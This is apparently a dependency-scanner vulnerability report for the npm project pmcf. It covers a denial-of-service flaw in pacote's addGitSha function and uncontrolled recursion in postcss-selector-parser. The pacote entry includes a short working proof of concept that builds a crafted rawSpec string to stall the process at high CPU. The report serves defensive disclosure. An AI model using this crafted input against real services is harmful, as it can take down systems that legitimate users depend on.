Vulnerabilities

2 via 4 paths

Dependencies

182

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Severity
  • 1
  • 1
Status
  • 2
  • 0
  • 0

high severity
new

Denial of Service (DoS)

  • Vulnerable module: pacote
  • Introduced through: npm-pkgbuild@20.6.4

Detailed paths

  • Introduced through: pmcf@arlac77/pmcf npm-pkgbuild@20.6.4 pacote@21.5.0
  • Introduced through: pmcf@arlac77/pmcf npm-pkgbuild@20.6.4 @npmcli/arborist@9.7.0 pacote@21.5.0
  • Introduced through: pmcf@arlac77/pmcf npm-pkgbuild@20.6.4 @npmcli/arborist@9.7.0 @npmcli/metavuln-calculator@9.0.3 pacote@21.5.0

Overview

pacote is a JavaScript package downloader

Affected versions of this package are vulnerable to Denial of Service (DoS) via the addGitSha function. An attacker can exploit this vulnerability by supplying a specially crafted spec.rawSpec value that triggers the function’s regex replacement and string-manipulation logic, causing excessive CPU consumption and potentially stalling or crashing the process.

PoC

const addGitSha = require('pacote/lib/util/add-git-sha');

var str = "";
for (var i = 0; i < 1000000; i++) {
  str += "#";
}
str += "\n@";

const spec = {
  rawSpec: str,
  hosted: null,
};

console.log("start");
addGitSha(spec, "");
console.log("end");

// run `npm install pacote` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

There is no fixed version for pacote.

References

medium severity
new

Uncontrolled Recursion

  • Vulnerable module: postcss-selector-parser
  • Introduced through: npm-pkgbuild@20.6.4

Detailed paths

  • Introduced through: pmcf@arlac77/pmcf npm-pkgbuild@20.6.4 @npmcli/arborist@9.7.0 @npmcli/query@5.0.0 postcss-selector-parser@7.1.1

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the toString function in the AST Serialization. An attacker can cause uncontrolled recursion by providing specially crafted input, potentially resulting in resource exhaustion and application unavailability.

Remediation

There is no fixed version for postcss-selector-parser.

References